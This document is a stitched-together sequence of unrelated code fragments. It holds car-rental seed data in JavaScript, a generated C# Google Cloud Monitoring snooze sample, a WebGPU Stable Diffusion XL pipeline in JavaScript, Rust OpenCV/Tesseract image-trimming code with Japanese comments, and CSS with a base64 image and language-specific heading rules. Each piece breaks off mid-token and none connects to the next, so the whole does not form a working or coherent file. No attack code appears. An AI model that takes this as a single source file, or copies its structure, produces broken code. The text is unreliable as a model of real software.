          model: "MUSTANG GT",
          seats: 4,
          doors: 2,
          luggages: 1,
          gear: "automatic",
          location_id: location[Math.floor(Math.random() * 3)].id,
          purchase_date: new Date(2020, 3, 19),
          addons: "GPS, Air Conditioning, MP4, Convertible",
          available: true,
          description: "Here are some adject


ks>
        /// This snippet has been automatically generated and should be regarded as a code template only.
        /// It will require modifications to work:
        /// - It may require correct/in-range values for request initialization.
        /// - It may require specifying regional endpoints when creating the service client as shown in
        ///   https://cloud.google.com/dotnet/docs/reference/help/client-configuration#endpoint.
        /// </remarks>
        public async Task GetSnoozeAsync()
        {
            // Create client
            SnoozeServiceClient snoozeServiceClient = await SnoozeServiceClient.CreateAsync();
            // Initialize request argument(s)
            string name = "projects/[PROJECT]/snoozes/[SNOOZE]";
            // Make the request
            Snooze response = await snoozeServiceClient.GetSnoozeAsync(name);
        }
    }
    // [END monitoring_v3_generated_SnoozeService_GetSnooze_async_flattened]
}


atents = newLatents;
      // use skip one sync, although likely not as useful.
      if (lastSync !== undefined) {
        await lastSync;
      }
      // async event checker
      lastSync = this.device.sync();

      // Optionally, we can draw intermediate result of VAE.
      if ((counter + 1) % vaeCycle == 0 &&
        (counter + 1) != unetNumSteps &&
        counter >= beginRenderVae) {
        this.tvm.withNewScope(() => {
          const image = this.vaeToImage(latents, this.vaeParams);
          this.tvm.showImage(this.imageToRGBA(image));
        });
        await this.device.sync();
      }
    }
    scheduler.dispose();
    embeddings.dispose();

    await this.device.sync();

    // allocate a gpu arr and async copy to it.
    const cpu_arr = this.tvm.withNewScope(() => {
      return this.tvm.detachFromCurrentScope(
        this.tvm.empty(latents.shape, latents.dtype, this.tvm.cpu(0))
      )
    });
    console.log("empty arr" + cpu_arr.toArray());

    cpu_arr.copyFrom(latents);
    await this.tvm.webgpu().sync();

    console.log("final latents" + cpu_arr.toArray());

    //-----------------------------
    // Stage 2: VAE and draw image
    //-----------------------------
    if (progressCallback !== undefined) {
      progressCallback("vae", 0, 1, totalNumSteps);
    }
    this.tvm.withNewScope(() => {
      const image = this.vaeToImage(latents, this.vaeParams);
      this.tvm.showImage(this.imageToRGBA(image));
    });
    latents.dispose();
    await this.device.sync();
    if (progressCallback !== undefined) {
      progressCallback("vae", 1, 1, totalNumSteps);
    }
  }

  clearCanvas() {
    this.tvm.clearCanvas();
  }
};

class DiffusionXLPipeline {
  constructor(tvm, tokenizer1, tokenizer2, schedulerConsts, cacheMetadata) {
    if (cacheMetadata == undefined) {
      throw Error("Expect cacheMetadata");
    }
    this.tvm = tvm;
    this.tokenizer1 = tokenizer1;
    this.tokenizer2 = tokenizer2;
    this.maxTokenLength = 77;

    this.device = this.tvm.webgpu();
    this.tvm.bindCanvas(document.getElementById("canvas"));
    // VM functions
    this.vm = this.tvm.detachFromCurrentScope(
      this.tvm.createVirtualMachine(this.device)
    );

    this.schedulerConsts = schedulerConsts;
    this.clipToTextEmbeddings1 = this.tvm.detachFromCurrentScope(
      this.vm.getFunction("clip")
    );
    this.clipParams1 = this.tvm.detachFromCurrentScope(
      this.tvm.getParamsFromCache("clip", cacheMetadata.clipParamSize)
    );
    this.clipToTextEmbeddings2 = this.tvm.detachFromCurrentScope(
      this.vm.getFunction("clip2")
    );
    this.clipParams2 = this.tvm.detachFromCurrentScope(
      this.tvm.getParamsFromCache("clip2", cacheMetadata.clip2ParamSize)
    );
    this.unetLatentsToNoisePred = this.tvm.detachFromCurrentScope(
      this.vm.getFunction("unet")
    );
    this.unetParams = this.tvm.detachFromCurrentScope(
      this.tvm.getParamsFromCache("unet", cacheMetadata.unetParamSize)
    );
    this.vaeToImage = this.tvm.detachFromCurrentScope(
      this.vm.getFunction("vae")
    );
    this.vaeParams = this.tvm.detachFromCurrentScope(
      this.tvm.getParamsFromCache("vae", cacheMetadata.vaeParam


e::Mat>
    {
        let mut contours = opencv::types::VectorOfVectorOfPoint::new();
        let (width, height) = (src.cols(), src.rows());
        let mut any_rect = core::Rect::new(width, height, 0, 0);
        imgproc::find_contours(gray_src, &mut contours, imgproc::RETR_EXTERNAL, imgproc::CHAIN_APPROX_SIMPLE, core::Point{x:0,y:0})?;

        for (i, contour) in &mut contours.to_vec().iter_mut().enumerate() {
            let area_contours = opencv::types::VectorOfPoint::from_iter(contour.iter());
            let area = imgproc::contour_area(&area_contours, false)?;
            // ノイズの除去 or スキップ
            if area < min_size.unwrap_or(10.0) {
                if noise_fill {
                    imgproc::draw_contours(
                        src, &contours, i as i32, noise_color.unwrap_or(core::Scalar::new(255.0, 255.0, 255.0, 0.0)),
                        1, imgproc::LINE_8, &core::no_array()?, std::i32::MAX, core::Point{x:0,y:0})?;
                }
                continue;
            } else if max_size.unwrap_or(10_000.0) < area {
                if noise_fill && max_size.is_some() {
                    imgproc::draw_contours(
                        src, &contours, i as i32, noise_color.unwrap_or(core::Scalar::new(255.0, 255.0, 255.0, 0.0)),
                        1, imgproc::LINE_8, &core::no_array()?, std::i32::MAX, core::Point{x:0,y:0})?;
                }
                continue;
            }

            let rect = imgproc::bounding_rect(&area_contours)?;
            any_rect.x = std::cmp::min(any_rect.x, rect.x);
            any_rect.y = std::cmp::min(any_rect.y, rect.y);
            any_rect.width = std::cmp::max(any_rect.width, rect.x + rect.width);
            any_rect.height = std::cmp::max(any_rect.height, rect.y + rect.height);
        }

        let mut trimming_rect = core::Rect {
            x: std::cmp::max(any_rect.x - margin.unwrap_or(0), 0),
            y: std::cmp::max(any_rect.y - margin.unwrap_or(0), 0),
            width: std::cmp::min(any_rect.width + margin.unwrap_or(0), width),
            height: std::cmp::min(any_rect.height + margin.unwrap_or(0), height)};
        trimming_rect.width -= trimming_rect.x + 1;
        trimming_rect.height -= trimming_rect.y + 1;

        match core::Mat::roi(&src, trimming_rect) {
            Ok(result_image) => Ok(result_image),
            // size が 0 近似で作成できないときが予想されるので、src を返す
            Err(_) => Ok(src.clone()),
        }
    }

    /// Tesseract-OCR を Mat で叩く
    /// tesseract::ocr_from_frame だと「Warning: Invalid resolution 0 dpi. Using 70 instead.」がうるさかったので作成
    pub fn ocr_with_mat(image: &core::Mat) -> Tesseract {
        let size = image.


hyKYiQSMOwKQEJ8jCQuNIgd/OyEAIfkECQoAHwAsAAAAABQAFAAABXzgJ46j45Ao+Zxi04hmWjZP+34NK+Os+zm33S+HoxFhteHoiBzSYC5HMhXVQa2kmGwqnLmCsm8O+O2KsV0u6UDYAbWigwAg2K2iIgMAMPgsDCQMCkssCW0iBQMKA30MCQtdHwNtjCILCV0EfZKbDY9CBAUimiMMaDIIgDshACH5BAkKAB8ALAAAAAAUABQAAAV44CeOo+OQKPmcYtOIZlo2T/t+DSvjrPs5t90vh6MRYbXh6Igc0mAuRzIV1UGtpJhsKhwVAGBA1xUdhMVCMrMr4pIQhx1QK0IQBITdKio6CAQFHwsIWUFHCoEiBgQKCQlDWCkEgY5QXQV5H5WQQgWJmx8PbjsMC0IhACH5BAkKAB8ALAAAAAAUABQAAAV14CeOo+OQKPmcYtO0bwo/cC3b7pffotOcrsevRPsMBKMh8eNrFAcBwEBxczlRUMLNdEvwUgWAGPC1/gZjMs9c/I7aqMRh62KJEoZB4bay3gkEcw4LJD5JMQtzIgsKfj52XVQ7OzcKVDoxQjEyCoSYb3A8XDchACH5BAEKAB8ALAAAAAAUABQAAAV64CeOo+OQKJkcY9OIZjoSAPu5Ii6LgJC/jtdONKjdGo/GCfYQEQYjAYHkaAaVosJgUFjsXDHS07ALpxTDFOK5TbvAh217+MamSU0Zg1FWLkUMCgloMg9XSwwJCV6GVEI3Sw5eMEg4QX9fJzo6X0I6SZgoYZwPeXdmKSEAOw==)!ie;
        background-position: center center;
        background-repeat: no-repeat
    }
    h1:lang(anp),
    h1:lang(as),
    h1:lang(bh),
    h1:lang(bho),
    h1:lang(bn),
    h1:lang(gu),
    h1:lang(hi),
    h1:lang(kn),
    h1:lang(ks),
    h1:lang(ml),
    h1:lang(mr),
    h1:lang(my),
    h1:lang(mai),
    h1:lang(ne),
    h1:lang(new),
    h1:lang(or),
    h1:lang(pa),
    h1:lang(pi),
    h1:lang(sa),
    h1:lang(ta),
    h1:lang(te) {
        line-height: 1.6em !important
    }
    h2:lang(anp),
    h3:lang(anp),
    h4:lang(anp),
    h5:lang(anp),
    h6:lang(anp),
    h2:lang(as),
    h3:lang(as),
    h4:lang(as),
    h5:lang(as),
    h6:lang(as),
    h2:lang(bho),
    h3:lang(bho),
    h4:lang(bho),
    h5:lang(bho),
    h6:lang(bho),
    h2:lang(bh),
    h3:lang(bh